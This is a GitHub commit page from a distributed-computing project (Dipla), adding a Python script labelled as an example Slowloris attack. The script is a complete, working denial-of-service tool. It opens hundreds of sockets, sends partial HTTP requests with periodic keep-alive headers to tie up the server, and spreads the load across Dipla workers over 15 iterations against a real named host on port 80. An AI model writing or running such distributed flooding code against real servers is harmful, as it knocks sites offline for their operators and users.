-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #248 from CPSSD/c/ddos#225
Add example SlowLoris attack
- Loading branch information
Showing
1 changed file
with
54 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,54 @@ | ||
from os import path | ||
import sys | ||
# Append to path so that this script can access the dipla package | ||
sys.path.append(path.abspath('../dipla')) | ||
|
||
from dipla.api import Dipla | ||
|
||
|
||
@Dipla.distributable() | ||
def slowloris(target_addr, target_port, number_connections): | ||
import socket, time | ||
# Try and open N conncetions | ||
soc_list = [] | ||
for _ in range(number_connections): | ||
try: | ||
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) | ||
s.settimeout(4) | ||
s.connect((target_addr, target_port)) | ||
s.send("GET /?vacation=sucks HTTP/1.1\r\n".encode('utf-8')) | ||
s.send("User-Agent: The Dipla Boiz\r\n".encode('utf-8')) | ||
s.send("Accept-language: en-US,en,q=0.5\r\n".encode('utf-8')) | ||
soc_list.append(s) | ||
except socket.error: | ||
pass | ||
|
||
if len(soc_list) == 0: | ||
return "Connections to target could not be made" | ||
|
||
keep_alive_count = 0 | ||
while soc_list: | ||
# Send a keep-alive to each connection | ||
for s in soc_list: | ||
try: | ||
s.send("X-a: 4000\r\n".encode("utf-8")) | ||
keep_alive_count += 1 | ||
except socket.error: | ||
soc_list.remove(s) | ||
time.sleep(15) | ||
return "Send {} keep-alive requests to target".format(keep_alive_count) | ||
|
||
|
||
ATTACK_ITERATIONS = 15 | ||
target_addrs = ["m1cr0man.com"] * ATTACK_ITERATIONS | ||
target_ports = [80] * ATTACK_ITERATIONS | ||
number_connections = [300] * ATTACK_ITERATIONS | ||
attack_results = Dipla.apply_distributable(slowloris, | ||
target_addrs, | ||
target_ports, | ||
number_connections) | ||
|
||
out = Dipla.get(attack_results) | ||
|
||
for o in out: | ||
print(o) |